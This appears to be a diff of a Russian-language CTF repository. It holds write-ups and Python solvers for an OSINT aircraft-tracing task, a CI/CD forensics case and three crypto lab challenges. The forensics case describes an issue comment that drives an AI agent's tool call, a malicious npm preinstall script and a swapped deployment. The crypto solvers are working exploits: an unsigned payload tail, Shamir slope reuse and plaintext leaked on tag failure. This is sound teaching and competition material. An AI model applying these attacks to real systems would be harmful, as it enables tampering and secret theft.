python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('Призрачный самолёт + +

+ OSINT +

+ +На старте есть изображение аэропорта. По нему нужно найти «криминального брата» пострадавшего двухдвигательного самолёта. В ответе нужны название аэропорта с изображения, регистрационный номер найденного самолёта и его последние известные координаты. Сначала определяем аэропорт на изображении. + +

+ Исходное изображение аэропорта Игероте +

+ +## Решение + +По изображению находим [Higuerote Airport на Flightsim.to](https://flightsim.to/file/14146/higuerote-airport-svhg). Это **Игероте, Венесуэла**. Картинка относится к сценарию аэропорта для симулятора, но даёт название места для дальнейшего поиска. + +
+Поиск сообщений об Игероте + +

+ Результаты поиска с сообщениями об обломках на взлётно-посадочной полосе Игероте +

+ +
+ +По запросам об Игероте выходим на сообщения об уничтоженных самолётах и [разбор атаки на Air Power Asia](https://airpowerasia.com/2026/01/11/how-us-airpower-dominance-paved-the-way-to-capture-venezuelas-maduro/). В статье самолёт, уничтоженный в Игероте, назван предположительно **Beechcraft Baron**. Берём это семейство как зацепку для следующего поиска. + +

+ Фрагмент Air Power Asia с предположением о модели Beechcraft Baron +

+ +

+ Кадр с повреждённым двухдвигательным самолётом в Игероте +

+ +
+Спутниковый снимок аэропорта после атаки + +

+ Спутниковый снимок Игероте с отмеченным повреждённым самолётом +

+ +
+ +Теперь ищем исчезнувшие Beechcraft Baron, связанные с Венесуэлой. Находим [запись Aviation Safety Network](https://aviation-safety.net/wikibase/232818): **Beechcraft 58 Baron**, регистрация `YV3338`, серийный номер `TH-485`. В карточке описан сгоревший самолёт, найденный в Белизе и связанный с перевозкой наркотиков. По приведённым сообщениям СМИ, это мог быть YV3338, незадолго до того исчезнувший в Венесуэле. Связь с перевозкой наркотиков соответствует подсказке про «криминального брата», поэтому дальше проверяем регистрационный номер. + +

+ Карточка Beechcraft 58 Baron: YV3338, MSN TH-485 +

+ +Регистрационный номер приводит к [новости El Nacional об исчезновении рейса Анако — Маракайбо](https://www.elnacional.com/2020/02/declaran-desaparecida-aeronave-que-salio-desde-anaco-hacia-maracaibo/). В ней есть ссылки на сообщения в X, в том числе [пост MeteoZulia](https://x.com/MeteoZulia/status/1225421481313808390) с последней позицией самолёта. + +

+ Сообщения о потере связи с YV3338, встроенные в новость El Nacional +

+ +

+ Пост MeteoZulia с YV3338 и координатами на карте +

+ +Открываем карту из поста в полном размере и читаем `10°04'06"N 71°12'34"W`. + +

+ Карта последнего контакта с YV3338 с координатами у озера Маракайбо +

+ +Для ответа используем последнюю зафиксированную позицию, а не место, где позже нашли самолёт. + +| Что нашли | Значение | +|---|---| +| Аэропорт с исходной картинки | `Higuerote` | +| Модель | `Beechcraft 58 Baron` | +| Регистрационный номер | `YV3338` | +| Последняя позиция | `10°04'06"N 71°12'34"W` | + +Флаг собираем из названия аэропорта, регистрации YV3338 и координат последнего контакта, сохраняя градусы, минуты и секунды. + +## Флаг + +`Caplag{Higuerote_YV3338_10°04'06"N 71°12'34"W}` + +Самолёт объявлен в розыск. За вашими бананами уже выехали. + +

+ Шуточная иллюстрация с амёбой, самолётами и погоней за бананами на аэродроме +

diff --git a/qualifiers/prizrachniy-samolet/assets/aircraft-wreck.png b/qualifiers/prizrachniy-samolet/assets/aircraft-wreck.png new file mode 100644 index 0000000..241f465 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/aircraft-wreck.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/banana-aircraft.png b/qualifiers/prizrachniy-samolet/assets/banana-aircraft.png new file mode 100644 index 0000000..f6a4ef3 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/banana-aircraft.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/baron-identification.png b/qualifiers/prizrachniy-samolet/assets/baron-identification.png new file mode 100644 index 0000000..bfa62d6 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/baron-identification.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/coordinates-map.png b/qualifiers/prizrachniy-samolet/assets/coordinates-map.png new file mode 100644 index 0000000..4cd87ab Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/coordinates-map.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/higuerote-satellite.png b/qualifiers/prizrachniy-samolet/assets/higuerote-satellite.png new file mode 100644 index 0000000..c29eb9b Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/higuerote-satellite.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/higuerote-search.png b/qualifiers/prizrachniy-samolet/assets/higuerote-search.png new file mode 100644 index 0000000..02ec180 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/higuerote-search.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/higuerote.png b/qualifiers/prizrachniy-samolet/assets/higuerote.png new file mode 100644 index 0000000..c73f738 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/higuerote.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/last-position.png b/qualifiers/prizrachniy-samolet/assets/last-position.png new file mode 100644 index 0000000..a543f36 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/last-position.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/news-posts.png b/qualifiers/prizrachniy-samolet/assets/news-posts.png new file mode 100644 index 0000000..7c76042 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/news-posts.png differ diff --git a/qualifiers/prizrachniy-samolet/assets/yv3338-record.png b/qualifiers/prizrachniy-samolet/assets/yv3338-record.png new file mode 100644 index 0000000..cc7eb91 Binary files /dev/null and b/qualifiers/prizrachniy-samolet/assets/yv3338-record.png differ diff --git a/qualifiers/runner-ashfall-forensic-hard/WRITEUP.md b/qualifiers/runner-ashfall-forensic-hard/WRITEUP.md new file mode 100644 index 0000000..ed442db --- /dev/null +++ b/qualifiers/runner-ashfall-forensic-hard/WRITEUP.md @@ -0,0 +1,91 @@ +

Runner Ashfall

+ +

+ Forensic + hard +

+ +В `runner_ashfall_case.zip` собраны следы инцидента в CI/CD: комментарий к issue, действия агента, установка npm-пакета, облачная авторизация и деплой. Первые девять ответов восстанавливаем по журналам. Из них получаем ключ к финальной заметке с десятым флагом. + +## Решение + +Распаковываем архив. Полезные артефакты удобно разделить по участкам цепочки: + +| Каталог | Содержимое | +|---|---| +| `github/`, `agent/` | Issue, вызовы инструментов, CI run и attestation | +| `repo/`, `npm/` | Lockfile до и после, индекс кеша и копия `preinstall.js` | +| `runner/` | События процессов и файлов | +| `cloud/` | OIDC-токены, CloudTrail и закрывающая заметка | +| `registry/`, `kubernetes/` | События образов и фактическое обновление deployment | + +### Комментарий и запуск CI (Q01–Q03) + +В `github/audit_log.jsonl` ищем `issue_comment.created` с меткой `release-triage` и объектом `agent_route`. Его `source_key` — `issue-1842-comment-7f31`, первый ответ. Похожий комментарий с меткой `docs` дальше в эту цепочку не попадает. + +В `agent/triage_assistant.jsonl` ищем событие `tool_call`, у которого `input.from_issue` совпадает с найденным `source_key`. У вызова `deploy_plan.render` читаем `tool_call_id`, равный `tool.deploy_plan.render:6d91c0`. Это второй ответ. + +В `github/actions/` ищем запуск, у которого `source.tool_call_id` совпадает с найденным вызовом. Подходит `run_8716443.json`, из которого берём `tuple = run-8716443/check-314159265`. С найденными идентификаторами запуска сверяем остальные события. + +### Пакет, кеш и раннер (Q04–Q06) + +Сравниваем `repo/package-lock.before.json` и `repo/package-lock.after.json`. В новом lockfile выделяется зависимость с `hasInstallScript = true`: `@northstar/ledger-seal@2.8.4-ash.3`. Флаг `hasInstallScript` указывает на скрипт установки. Его имя проверяем по событиям раннера. + +В `npm/_cacache/index-v5/ledger-seal-entry.json` сверяем имя и версию пакета, затем читаем `cache_path`. Получаем путь к содержимому кеша — ответ Q05. + +По этому пути ищем процесс в `runner/process_events.jsonl`. У него должны совпасть `run_id=8716443` и `check_run_id=314159265`, а команда содержит `node ... preinstall.js`. Поле `host` даёт `ghr-prod-x64-ephemeral-0c8a7d`, ответ Q06. Другой ephemeral-раннер относится к старому запуску и сюда не подходит. + +### Облачные права и деплой (Q07–Q09) + +Из `jobs[0].job_id` в JSON запуска берём `9317`. В `cloud/oidc_tokens.jsonl` выбираем токен по тройке run/check/job и сохраняем его `sub` целиком. Так получаем Q07 и связываем облачную авторизацию с конкретной работой CI. + +В `cloud/cloudtrail.jsonl` находим `PutObject`, у которого `x-amz-meta-run-id` и `x-amz-meta-check-run-id` совпадают с исследуемым запуском. `responseElements.object_locator` содержит bucket, key и версию объекта — это Q08. + +Остаётся выяснить, что действительно развернули. В `kubernetes/audit.jsonl` ищем `patch` deployment `staging/recon-ledger`. Аннотация `northstar.io/source-object` должна точно совпасть с Q08. Из `requestObject.spec.template.spec.containers[0].image` берём полный адрес образа с digest, ответ Q09. + +> Digest в attestation описывает результат сборки до подмены артефакта. Для ответа о деплое нужен образ из Kubernetes patch, связанный с конкретной версией объекта. + +### Финальная заметка (Q10) + +`cloud/final_closeout.note` содержит `nonce`, `ciphertext` и `mac`. `nonce` и `ciphertext` переводим из hex в байты, `mac` оставляем hex-строкой. Ответы Q01–Q09 записываем строками в список `raw_answers` **без** оболочки `caplag{...}`, сохраняя порядок. Для ключа соединяем их разделителем `|`. + +```python +import hashlib + +key = hashlib.sha256("|".join(raw_answers).encode()).digest() +expected_mac = hashlib.sha256(key + nonce + ciphertext).hexdigest() +assert expected_mac == mac +``` + +Сначала сверяем `expected_mac` с `mac`: ошибка хотя бы в одном ответе даст несовпадение. Затем получаем seed потока и его блоки: + +```python +seed = hashlib.sha256(key + nonce).digest() +stream = bytearray() +counter = 0 +while len(stream) < len(ciphertext): + stream.extend(hashlib.sha256(seed + counter.to_bytes(4, "big")).digest()) + counter += 1 +plain = bytes(a ^ b for a, b in zip(ciphertext, stream)) +``` + +Счётчик начинается с нуля. `zip` ограничивает XOR длиной шифротекста. Декодируем `plain` как UTF-8 и разбираем JSON, поле `final_flag` содержит последний ответ. + +Получилась сквозная цепочка событий. Текст issue запустил инструмент агента, тот создал CI run, установка зависимости привела к действиям на раннере, а связанные облачные события — к подменённому деплою. Точные идентификаторы на каждом переходе позволяют отделить её от ложных следов. + +[Солвер](solve/solve.py). + +## Все этапы + +| Этап | Флаг | +|---|---| +| 1 | `caplag{issue-1842-comment-7f31}` | +| 2 | `caplag{tool.deploy_plan.render:6d91c0}` | +| 3 | `caplag{run-8716443/check-314159265}` | +| 4 | `caplag{@northstar/ledger-seal@2.8.4-ash.3}` | +| 5 | `caplag{sha512/6a/2d/6a2dc1e9b4f0d776a8e2b8fd47025703e617b1d9a61b88d5ad7b2c9f2e6a10f4}` | +| 6 | `caplag{ghr-prod-x64-ephemeral-0c8a7d}` | +| 7 | `caplag{repo:northstar-clearing/recon-ledger:ref:refs/heads/staging:workflow:release.yml:job_id:9317}` | +| 8 | `caplag{s3://nstar-stage-artifacts/releases/recon-ledger/2026.05.14/recon-ledger.tgz#v7d4b19e2}` | +| 9 | `caplag{registry.local/northstar/recon-ledger@sha256:9c2fd7f0d2b541e0b44267cc8d59a7cf508b1e3a7e422bcf1ac8a2d1377f1cc4}` | +| 10 | `caplag{runner_ashfall_ci_blast_radius}` | diff --git a/qualifiers/runner-ashfall-forensic-hard/solve/solve.py b/qualifiers/runner-ashfall-forensic-hard/solve/solve.py new file mode 100644 index 0000000..770f22a --- /dev/null +++ b/qualifiers/runner-ashfall-forensic-hard/solve/solve.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import hashlib +import json +import sys +import zipfile +from pathlib import Path +from typing import Any + + +def read_text(zf: zipfile.ZipFile, name: str) -> str: + return zf.read(name).decode("utf-8") + + +def read_json(zf: zipfile.ZipFile, name: str) -> Any: + return json.loads(read_text(zf, name)) + + +def read_jsonl(zf: zipfile.ZipFile, name: str) -> list[dict[str, Any]]: + rows = [] + for line in read_text(zf, name).splitlines(): + line = line.strip() + if line: + rows.append(json.loads(line)) + return rows + + +def derive_key(raw_answers: list[str]) -> bytes: + return hashlib.sha256("|".join(raw_answers).encode("utf-8")).digest() + + +def xor_stream(key: bytes, length: int) -> bytes: + stream = bytearray() + counter = 0 + while len(stream) < length: + stream.extend(hashlib.sha256(key + counter.to_bytes(4, "big")).digest()) + counter += 1 + return bytes(stream[:length]) + + +def decrypt_closeout(note: bytes, raw_answers: list[str]) -> dict[str, Any]: + wrapped = json.loads(note.decode("utf-8")) + key = derive_key(raw_answers) + nonce = bytes.fromhex(wrapped["nonce"]) + ciphertext = bytes.fromhex(wrapped["ciphertext"]) + expected_mac = hashlib.sha256(key + nonce + ciphertext).hexdigest() + if wrapped["mac"] != expected_mac: + raise ValueError("closeout note MAC mismatch; one of Q01-Q09 is wrong") + stream = xor_stream(hashlib.sha256(key + nonce).digest(), len(ciphertext)) + plaintext = bytes(a ^ b for a, b in zip(ciphertext, stream)) + return json.loads(plaintext.decode("utf-8")) + + +def wrap_answer(value: str) -> str: + if value.startswith("caplag{"): + return value + return f"caplag{{{value}}}" + + +def recover_raw_answers(zf: zipfile.ZipFile) -> list[str]: + raw: list[str] = [] + + audit = read_jsonl(zf, "github/audit_log.jsonl") + issue_event = next( + row + for row in audit + if row.get("event") == "issue_comment.created" + and "release-triage" in row.get("labels", []) + and "agent_route" in row + ) + raw.append(issue_event["agent_route"]["source_key"]) + + agent = read_jsonl(zf, "agent/triage_assistant.jsonl") + tool_call = next( + row + for row in agent + if row.get("event") == "tool_call" + and row.get("tool") == "deploy_plan.render" + and row.get("input", {}).get("from_issue") == raw[0] + ) + raw.append(tool_call["tool_call_id"]) + + run = read_json(zf, "github/actions/run_8716443.json") + if run["source"]["tool_call_id"] != raw[1]: + raise ValueError("run source does not match recovered tool call") + raw.append(run["tuple"]) + + lockfile = read_json(zf, "repo/package-lock.after.json") + suspicious_pkg = None + for package_path, package_info in lockfile["packages"].items(): + if not package_path.startswith("node_modules/"): + continue + if package_info.get("hasInstallScript"): + package_name = package_path.removeprefix("node_modules/") + suspicious_pkg = f"{package_name}@{package_info['version']}" + break + if suspicious_pkg is None: + raise ValueError("no install-script package found") + raw.append(suspicious_pkg) + + npm_entry = read_json(zf, "npm/_cacache/index-v5/ledger-seal-entry.json") + if f"{npm_entry['package']}@{npm_entry['version']}" != raw[3]: + raise ValueError("npm cache entry does not match lockfile package") + raw.append(npm_entry["cache_path"]) + + runner_events = read_jsonl(zf, "runner/process_events.jsonl") + run_id = int(raw[2].split("/", 1)[0].removeprefix("run-")) + check_run_id = int(raw[2].split("/", 1)[1].removeprefix("check-")) + runner_event = next( + row + for row in runner_events + if row.get("run_id") == run_id + and row.get("check_run_id") == check_run_id + and raw[4] in row.get("cmd", "") + ) + raw.append(runner_event["host"]) + + oidc_tokens = read_jsonl(zf, "cloud/oidc_tokens.jsonl") + job_id = run["jobs"][0]["job_id"] + oidc = next( + row + for row in oidc_tokens + if row.get("run_id") == run_id + and row.get("check_run_id") == check_run_id + and row.get("job_id") == job_id + ) + raw.append(oidc["sub"]) + + cloudtrail = read_jsonl(zf, "cloud/cloudtrail.jsonl") + put_object = next( + row + for row in cloudtrail + if row.get("eventName") == "PutObject" + and row.get("requestParameters", {}).get("x-amz-meta-run-id") == str(run_id) + and row.get("requestParameters", {}).get("x-amz-meta-check-run-id") == str(check_run_id) + ) + raw.append(put_object["responseElements"]["object_locator"]) + + kube_audit = read_jsonl(zf, "kubernetes/audit.jsonl") + deploy_patch = next( + row + for row in kube_audit + if row.get("verb") == "patch" + and row.get("objectRef", {}).get("resource") == "deployments" + and row.get("objectRef", {}).get("name") == "recon-ledger" + and row.get("requestObject", {}) + .get("metadata", {}) + .get("annotations", {}) + .get("northstar.io/source-object") + == raw[7] + ) + image = deploy_patch["requestObject"]["spec"]["template"]["spec"]["containers"][0]["image"] + raw.append(image) + + return raw + + +def solve_bundle(bundle_path: str | Path) -> list[str]: + with zipfile.ZipFile(bundle_path) as zf: + raw = recover_raw_answers(zf) + closeout = decrypt_closeout(zf.read("cloud/final_closeout.note"), raw) + return [wrap_answer(value) for value in raw] + [wrap_answer(closeout["final_flag"])] + + +def main(argv: list[str]) -> int: + if len(argv) != 2: + print(f"usage: {Path(argv[0]).name} public/runner_ashfall_case.zip", file=sys.stderr) + return 2 + answers = solve_bundle(argv[1]) + for idx, answer in enumerate(answers, 1): + print(f"Q{idx:02d}: {answer}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv)) diff --git a/qualifiers/sealtail-crypto-easy/WRITEUP.md b/qualifiers/sealtail-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..0b6d40c --- /dev/null +++ b/qualifiers/sealtail-crypto-easy/WRITEUP.md @@ -0,0 +1,54 @@ +

SealTail

+ +

+ Crypto + easy +

+ +Релизная очередь принимает `release.capsule`: заголовок, RSA-подпись и команды в TLV-формате. В заголовке есть `signed_len` — длина подписанной части. Проверяющий использует именно её, а очередь после успешной проверки разбирает весь payload до конца файла. + +## Решение + +Сначала прогоняем исходную капсулу через публичный verifier: + +```bash +python3 public/verify_capsule.py public/release.capsule +``` + +Он показывает `signature_valid=True`, `payload_len=181`, `signed_len=181`, `unsigned_tail_len=0`. Пока подпись покрывает весь payload, неподписанного хвоста нет. + +Открываем `FORMAT.md`. Для экспорта карантинного ключа предусмотрен тег `0x42 EXPORT_QUARANTINE_KEY`. TLV-запись состоит из байта тега, двух байт длины в big-endian и значения. Дописываем такую команду в конец капсулы: + +```python +from pathlib import Path + +value = (b"lane=quarantine\nrequestor=release-audit\n" + b"reason=post-signature-tail-check\n") +tail = bytes([0x42]) + len(value).to_bytes(2, "big") + value +original = Path("public/release.capsule").read_bytes() +Path("modified.capsule").write_bytes(original + tail) +``` + +Подписанные байты и `signed_len` остались прежними. Проверяем модифицированный файл той же утилитой. Значение `unsigned_tail_len` должно стать больше нуля, а `signature_valid` остаться `True`. + +```bash +python3 public/verify_capsule.py modified.capsule +``` + +Отправляем капсулу в очередь: + +```bash +curl -sS --data-binary @modified.capsule \ + -H 'Content-Type: application/octet-stream' \ + http://:31337/submit +``` + +RSA-проверка принимает исходный префикс, затем TLV-парсер доходит до добавленной неподписанной команды и возвращает ключ с флагом. + +> Подпись подтверждает только те байты, которые в неё включили. Если после проверки исполнять ещё и неподписанный хвост, целостность всего релиза она уже не гарантирует. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{signed_prefix_is_not_a_release}` diff --git a/qualifiers/sealtail-crypto-easy/solve/solve.py b/qualifiers/sealtail-crypto-easy/solve/solve.py new file mode 100644 index 0000000..77f02ff --- /dev/null +++ b/qualifiers/sealtail-crypto-easy/solve/solve.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +import argparse +import json +import pathlib +import re +import urllib.request + + +ACTION_EXPORT_KEY = 0x42 + + +def encode_tlv(tag: int, value: bytes) -> bytes: + return bytes([tag]) + len(value).to_bytes(2, "big") + value + + +def build_modified_capsule(input_path: pathlib.Path, output_path: pathlib.Path) -> bytes: + capsule = input_path.read_bytes() + tail = encode_tlv( + ACTION_EXPORT_KEY, + b"lane=quarantine\nrequestor=release-audit\nreason=post-signature-tail-check\n", + ) + modified = capsule + tail + output_path.write_bytes(modified) + return modified + + +def submit(url: str, capsule: bytes) -> dict: + request = urllib.request.Request( + url, + data=capsule, + headers={"Content-Type": "application/octet-stream"}, + method="POST", + ) + with urllib.request.urlopen(request, timeout=5) as response: + return json.loads(response.read().decode()) + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument( + "--capsule", + default="../public/release.capsule", + help="path to the original release capsule", + ) + parser.add_argument( + "--out", + default="modified.capsule", + help="where to write the modified capsule", + ) + parser.add_argument( + "--url", + default="http://127.0.0.1:31337/submit", + help="SealTail /submit endpoint", + ) + parser.add_argument( + "--no-submit", + action="store_true", + help="only write the modified capsule", + ) + args = parser.parse_args() + + capsule_path = pathlib.Path(args.capsule) + output_path = pathlib.Path(args.out) + modified = build_modified_capsule(capsule_path, output_path) + print(f"wrote {output_path} ({len(modified)} bytes)") + + if args.no_submit: + return 0 + + result = submit(args.url, modified) + print(json.dumps(result, indent=2, sort_keys=True)) + flag = result.get("flag") + if not isinstance(flag, str) or not re.fullmatch(r"caplag\{[^{}]+\}", flag): + raise SystemExit("flag was not returned") + print(flag) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/qualifiers/shardslope-crypto-easy/WRITEUP.md b/qualifiers/shardslope-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..f0c9e8f --- /dev/null +++ b/qualifiers/shardslope-crypto-easy/WRITEUP.md @@ -0,0 +1,52 @@ +

ShardSlope

+ +

+ Crypto + easy +

+ +В `escrow_export.json` лежат две группы долей секрета по схеме Шамира с порогом `threshold = 2`. У калибровочной группы есть две доли, у карантинной — только одна. Для карантинного секрета одной доли обычно недостаточно. Но в экспорте обе группы имеют одинаковый `rng_cache_id` — проверяем, не переиспользован ли случайный коэффициент. + +## Решение + +При пороге два доли — точки на прямой над конечным полем: + +$$y = s + ax \pmod p,$$ + +где $s$ — секрет, а $a$ — случайный коэффициент наклона. Для каждого секрета коэффициент должен выбираться заново. Общий `rng_cache_id` позволяет предположить, что worker мог переиспользовать его между `calibration_batch` и `quarantine_batch`. Вычисляем коэффициент по калибровочной группе и проверяем, даст ли он осмысленный второй секрет. + +В раздатке есть `recover.py`, который восстанавливает калибровочный секрет из двух точек. По этим же точкам вычисляем наклон. + +$$a = (y_2-y_1)(x_2-x_1)^{-1} \pmod p.$$ + +Когда $a$ известен, одной карантинной доли $(x,y)$ уже хватает для расчёта $s = y-ax \pmod p$. Повторяем расчёт на Python: + +```python +from pathlib import Path +import json + +data = json.loads(Path("public/escrow_export.json").read_text()) +p = int(data["field_prime"]) +first, second = data["calibration_batch"]["shares"][:2] +x1, y1 = int(first["x"]), int(first["y"]) +x2, y2 = int(second["x"]), int(second["y"]) +slope = (y2 - y1) * pow(x2 - x1, -1, p) % p + +share = data["quarantine_batch"]["shares"][0] +secret = (int(share["y"]) - slope * int(share["x"])) % p +``` + +Остаётся перевести число в байты в big-endian: + +```python +raw = secret.to_bytes(max(1, (secret.bit_length() + 7) // 8), "big") +print(raw.decode()) +``` + +Получаем строку флага. Коэффициент, вычисленный по калибровочной группе, позволил восстановить карантинный секрет по одной доле. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{slope_reuse_breaks_2of3_escrow}` diff --git a/qualifiers/shardslope-crypto-easy/solve/solve.py b/qualifiers/shardslope-crypto-easy/solve/solve.py new file mode 100644 index 0000000..195ee1f --- /dev/null +++ b/qualifiers/shardslope-crypto-easy/solve/solve.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +import argparse +import json +import pathlib +import re + + +def inv(value: int, prime: int) -> int: + return pow(value % prime, -1, prime) + + +def int_to_bytes(value: int) -> bytes: + return value.to_bytes(max(1, (value.bit_length() + 7) // 8), "big") + + +def recover_slope(share_a: dict, share_b: dict, prime: int) -> int: + x1, y1 = int(share_a["x"]), int(share_a["y"]) + x2, y2 = int(share_b["x"]), int(share_b["y"]) + return ((y2 - y1) * inv(x2 - x1, prime)) % prime + + +def recover_secret(share: dict, slope: int, prime: int) -> int: + return (int(share["y"]) - slope * int(share["x"])) % prime + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument( + "export", + nargs="?", + default="../public/escrow_export.json", + help="path to escrow_export.json", + ) + args = parser.parse_args() + + data = json.loads(pathlib.Path(args.export).read_text()) + prime = int(data["field_prime"]) + calibration = data["calibration_batch"]["shares"] + production_share = data["quarantine_batch"]["shares"][0] + + slope = recover_slope(calibration[0], calibration[1], prime) + secret_int = recover_secret(production_share, slope, prime) + flag = int_to_bytes(secret_int).decode() + if not re.fullmatch(r"caplag\{[^{}]+\}", flag): + raise SystemExit("recovered secret is not a caplag flag") + print(flag) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/qualifiers/tagpreview-crypto-easy/WRITEUP.md b/qualifiers/tagpreview-crypto-easy/WRITEUP.md new file mode 100644 index 0000000..1191113 --- /dev/null +++ b/qualifiers/tagpreview-crypto-easy/WRITEUP.md @@ -0,0 +1,52 @@ +

TagPreview

+ +

+ Crypto + easy +

+ +Сервис хранит запечатанную заметку и умеет проверять её целостность. При успешной проверке он подтверждает приём, но текст не показывает. Для отклонённых записей сервис возвращает поле `preview`. Проверяем его содержимое. + +## Решение + +Забираем исходную запись: + +```bash +curl -sS http://:31359/sealed-note -o note.bin +``` + +Публичный клиент на неизменённой записи получает `status=accepted` без plaintext: + +```bash +python3 public/client.py http://:31359 +``` + +В `inspect_record()` сначала вычисляется открытый текст, затем проверяется authentication tag. Сама расшифровка до проверки ещё не раскрывает данные клиенту. Ошибка находится в ветке отказа. При несовпадении тега функция возвращает эти байты в поле `preview`. + +Последние 16 байт записи — тег. Меняем один его байт, не трогая шифротекст, чтобы расшифровка осталась прежней, а проверка провалилась: + +```python +from pathlib import Path + +record = bytearray(Path("note.bin").read_bytes()) +record[-1] ^= 1 +Path("tampered.bin").write_bytes(record) +``` + +Отправляем подготовленный `tampered.bin` в `POST /inspect` с `Content-Type: application/octet-stream`. + +```bash +curl -sS --data-binary @tampered.bin \ + -H 'Content-Type: application/octet-stream' \ + 'http://:31359/inspect' +``` + +При несовпадении тега обработчик возвращает открытый текст вместе с флагом в поле `preview`. Одной испорченной записи достаточно, поскольку утечка происходит непосредственно в обработчике ошибки. + +> Расшифрованные байты до проверки тега нельзя отдавать вызывающему коду. Здесь проверка обнаружила повреждение, но обработчик ошибки всё равно раскрыл содержимое заметки. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{tag_failure_previewed_the_plaintext}` diff --git a/qualifiers/tagpreview-crypto-easy/solve/solve.py b/qualifiers/tagpreview-crypto-easy/solve/solve.py new file mode 100644 index 0000000..b44efe8 --- /dev/null +++ b/qualifiers/tagpreview-crypto-easy/solve/solve.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 +import json +import re +import sys +import urllib.request + + +def get_bytes(url: str) -> bytes: + with urllib.request.urlopen(url, timeout=5) as response: + return response.read() + + +def post_bytes(url: str, body: bytes) -> dict: + req = urllib.request.Request( + url, + data=body, + method="POST", + headers={"Content-Type": "application/octet-stream"}, + ) + with urllib.request.urlopen(req, timeout=5) as response: + return json.loads(response.read().decode()) + + +def solve(base_url: str) -> str: + base = base_url.rstrip("/") + record = bytearray(get_bytes(base + "/sealed-note")) + record[-1] ^= 1 + result = post_bytes(base + "/inspect", bytes(record)) + preview = result.get("preview", "") + match = re.search(r"caplag\{[^}]+\}", preview) + if not match: + raise RuntimeError(f"flag not found in preview: {result}") + return match.group(0) + + +def main() -> None: + if len(sys.argv) != 2: + raise SystemExit(f"usage: {sys.argv[0]} http://host:port") + print(solve(sys.argv[1])) + + +if __name__ == "__main__": + main()